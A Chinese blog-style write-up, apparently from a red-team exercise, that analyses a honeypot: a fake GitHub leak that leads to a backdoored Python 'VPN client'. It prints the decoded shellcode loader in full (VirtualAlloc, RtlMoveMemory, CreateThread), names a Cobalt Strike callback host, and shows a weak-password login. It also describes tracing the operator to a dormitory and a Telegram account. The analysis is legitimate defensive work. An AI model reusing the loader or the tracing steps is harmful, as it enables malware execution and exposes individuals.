在某次攻防演練信息收集的過程中,偶然發現偽裝Github信息泄漏進而釣魚紅隊人員的後門。
下面展開有趣的分析溯源過程。
0x01 信息收集GIthub信息泄漏
根據甲方信息進行常規的Github敏感信息收集偶然發現一個倉庫不簡單
這不是mysql賬號密碼泄漏了嗎,愉快的打開Navicat
失敗....於是訪問源碼的8080端口查看一番,發現一個管理後台
弱口令
針對後台嘗試一波弱口令,admin/admin 嗯~進來了
進來之後竟然發現賬號密碼而且客戶端解壓密碼都貼心的放了出來
到這裡我竟然沒有察覺到任何異常,以為能夠拿到VPN入口權限;抓緊下載VPN客戶端。
解壓出來這個樣子,emmm。。還沒發現異常
0x02 分析溯源
還好有謹慎的習慣,放入虛擬機瞅瞅。
哦豁,竟然提示不兼容當前系統;看到彈窗有Pyhton代碼編寫的特徵。感覺到前面的打點由過於絲滑,不自然的警覺了起來。
包括前面弱口令的提交方式竟然為admin.php?user=admin&passwd=admin
由於發現VPN客戶端為python語言編寫,更不對勁了,反編譯看下。
解包python3 pyinstxtractor.py vpnclient64.exe
生成一個以 exe文件名+_extracted 的文件夾,這個就是解包後的數據
PyInstaller打包後,pyc文件的前8個字節會被抹掉,所以最後要自己添加回去。
添加頭
根據struct.py文件
源碼
得到py文件,easyvpn64.py為後門主程序,其中執行shellcode代碼隱藏至圖片中。
通過requests請求OSS存儲中的圖片,圖片內容為shellcode加載器。
shellcodeLoader部分
import base64import ctypesstr = b''sc_base64 = (base64.a85decode(str)).decode('utf-8')shellcode = bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-8')))ptr = ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
知道shellcodeloader加載方式就好辦了,提取CS回連地址。
溯源
回連地址:Host: cs.xxx.cn
nslookup解析地址
根據IP地址定位在某宿舍
直接溯源到人,tg結合一波。
0x03 總結
在攻防演練過程中一定要小心,防止被釣魚。另外這個釣魚的兄弟已經小本本記下了。。。